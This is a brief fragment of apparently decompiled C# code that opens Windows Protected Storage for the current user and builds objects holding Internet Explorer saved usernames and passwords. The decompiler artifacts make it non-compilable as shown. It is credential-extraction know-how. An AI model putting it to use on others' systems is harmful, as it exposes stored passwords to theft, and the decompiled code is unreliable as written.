internal CIEPassword(CProtectStore PStore, string szResourceName, string szUserName, string szPasswd, DateTime dtAddDate, int dwType)
 {
     this.guidIE = new Guid("{E161255A-37C3-11D2-BCAA-00C04FD929DB}");
     if (this.m_IPStore == null)
     {
         this.m_IPStore = PStore;
     }
     this.m_dtAddDate      = dtAddDate;
     this.m_dwType         = dwType;
     this.m_szPassword     = szPasswd;
     this.m_szResourceName = szResourceName;
     this.m_szUserName     = szUserName;
 }
    private static IPStore GetPStoreInterface()
    {
        IPStore pstore = (IPStore)null;
        // ISSUE: explicit reference operation
        // ISSUE: variable of a reference type
        IPStore& ppProvider = @pstore;
        Guid     guid       = guidProvider.MS_BASE_PSTPROVIDER_SZID;
        // ISSUE: explicit reference operation
        // ISSUE: variable of a reference type
        Guid& pProviderID = @guid;
        int   pReserved   = 0;
        int   dwFlags     = 0;

        CProtectStore.PStoreCreateInstance(ppProvider, pProviderID, pReserved, dwFlags);
        return(pstore);
    }
 public CIEPasswords()
 {
     this.guidIE   = new Guid("{E161255A-37C3-11D2-BCAA-00C04FD929DB}");
     this.m_PStore = new CProtectStore();
     this.m_IEPass = new List <CIEPassword>();
 }
 public CProtectStore()
 {
     this.m_PStore  = CProtectStore.GetPStoreInterface();
     this.m_KeyType = PST_KEY.PST_KEY_CURRENT_USER;
 }